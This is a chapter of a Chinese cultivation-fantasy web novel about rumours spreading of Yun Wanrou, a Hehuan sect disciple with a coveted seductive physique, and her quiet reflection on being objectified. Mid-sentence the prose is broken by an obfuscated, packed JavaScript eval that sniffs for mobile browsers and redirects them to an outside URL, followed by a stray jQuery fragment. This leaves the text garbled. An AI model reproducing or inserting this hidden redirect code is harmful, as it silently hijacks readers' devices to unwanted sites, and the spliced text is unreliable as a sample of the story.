筑基大典结束后的第三天,云绾柔的名字像是被风吹散的蒲公英种子,落进了修仙界的每一个角落。

    最先传开的是那些参加大典的修士们带回各自宗门的见闻。他们在路上、在茶棚里、在酒席间,一边比划一边描述,说那天的场面如何震撼,数百人如何集体失态,连金丹期的长老都没能稳住道心。他们说到云绾柔的时候,语气里带着一种说不清道不明的意味——像在谈论一场他们亲眼目睹却至今仍觉得不太真实的事。

    “合欢宗第一媚骨。”这个名号就这样自然而然地落定了。不是谁刻意取的,也没有人正式宣布过。它像是从那些议论声中自己长出来的,像水面上浮起的一层薄雾,看似轻盈,却有一种让人无法忽视的存在感。

    正道宗门中,天剑宗、落霞宗、玄天宗、碧落宗……各派弟子聚在一起时,谈论的都是同一个话题。有人压低声音说:“听说了吗?合欢宗那个九转天成媚骨,筑基大典那天好几百人都失控了。”旁边的人将信将疑:“几百个?夸张了吧?”“我师兄亲眼所见,他说那天在场的人,不管什么修为,没一个能保持镇定的。”有人摇头感叹:“那女人看一眼就跟中了毒一样,当真邪乎。”“有机会真想去见识见识。”那些话像水波一样一层层地漾开,荡到远处又慢慢传回来,每一次都比上一次添了一点新的细节,像是被风反复吹过的羽毛,越飘越远,越飘越轻。

    在魔道宗门里,议论的方式更直接。血煞宗的弟子在演武场边上靠着栏杆说:“合欢宗那个小美人,听说美得不像话。”旁边的同门嗤笑一声:“美不美不重要,她的体质才是关键。九转天成媚骨,跟她双修一次,修为能涨一大截。”“那还等什么?赶紧去合欢宗啊!”“你当你是谁?想见她得先过苏怜幽那一关。那老女人把她当摇钱树,不见兔子不撒鹰。”那些话说得随意而坦荡,像在讨论一件再寻常不过的商品,语气里带着一种笃定的热切。

    散修群体中的消息传得更快。散修们没有宗门依靠,对“变强”的渴望比任何门派的弟子都更直接。合欢宗山脚下的坊市里,有人一边喝茶一边说:“听说那九转天成媚骨,跟她双修一次抵得上苦修十年。”旁边的人眼睛都亮了:“真的假的?”“我骗你做什么?筑基大典那天去的人回来都这么说。”有人搓了搓手,叹了口气:“问题是咱们连她的面都见不着,没有足够的代价,苏怜幽连通报都不给通。”“见不着面,远远看一眼也行,听说她长得跟天仙似的。”那些话在茶棚和酒馆之间传来传去,像水面上的油花,聚拢又散开,折射出一层薄薄的、五光十色的光。

    合欢宗本身也因为这阵风变得更加热闹起来。山门前人来人往,比往常多了好几倍。有人在门外徘徊,有人托关系递话,有人干脆带着厚礼直接上门求见。苏怜幽的密室门槛都快被踩破了,她坐在案后,面带微笑地接待每一位来客,不紧不慢地收下他们的礼物,不紧不慢地给出模糊而妥帖的回应。她的姿态从容得像一位在花园里散步的人,而这座花园里,正开着一朵所有人都想摘的花。

    云绾柔偶尔会在洞府外的回廊上听到那些从山门方向飘来的只言片语。那些话有时候是从风里传来的,有时候是从路过的弟子口中飘出来的。她听见自己的名字被反复提起,有时带着惊叹,有时带着觊觎,有时带着一种她已经无法辨认的、像是赞美又像是物化的语气。她没有刻意去听,也没有刻意避开。那些声音像水流

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17689935|206662||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    一样从她身边经过,流过去之后,地面上什么也没有留下。

    她想起一首诗,是小时候在镇上听人念过的——“墙里秋千墙外道。墙外行人,墙里佳人笑。”那时候她不懂那是什么意思,只觉得墙里墙外像是两个不同的世界。此刻她隐约觉得,自己就是那个墙里的人,而墙外的行人正谈论着她,笑声穿过墙壁传来,却落不到她手边。她站在自己的洞府门口,夜风从山谷那边吹来,带着初夏的青草和露水的味道。远处的灯火正在一盏一盏地亮起来,像散落在山间的星星。

    她走回屋里,在窗边坐下。她没有点灯,只是让那片夜色一点一点地漫过她的脚边,漫过她的膝盖,漫过她交叠在膝上的手指。她的指尖微微蜷曲着,像在触碰什么看不见的东西,又像什么都没有触碰。她知道自己正在变成一种传说——一个被人反复讲述、却从来没有人真正抵达过的名字。那些关于她的话语像水波一样一层层地漾开,覆盖了越来越多的地方,而她只是坐在这一圈圈涟漪的正中央,像一枚已经被投入水中的石子,正缓缓地、无可挽回地朝着深处沉下去。

    她不知道自己还能浮起来多久。夜风穿过窗棂的缝隙,落在她的后颈上。她没有去拢衣领,只是安静地坐在那里,听那些风从她身旁经过,又朝更远的地方吹去。她想起一句诗——“此情可待成追忆,只是当时已惘然。”她没有追忆什么,也没有惘然什么。她只是觉得,那些风正在带走她的名字,带到她再也听不见的地方。而她坐在这里,像一枚已经沉入水底的印章,被岁月慢慢磨去了棱角。她不想再被打捞起来,也不想再被任何目光触碰,只想在这片越来越深的寂静里,慢慢地,缓缓地,被水草覆盖,被月光浸透。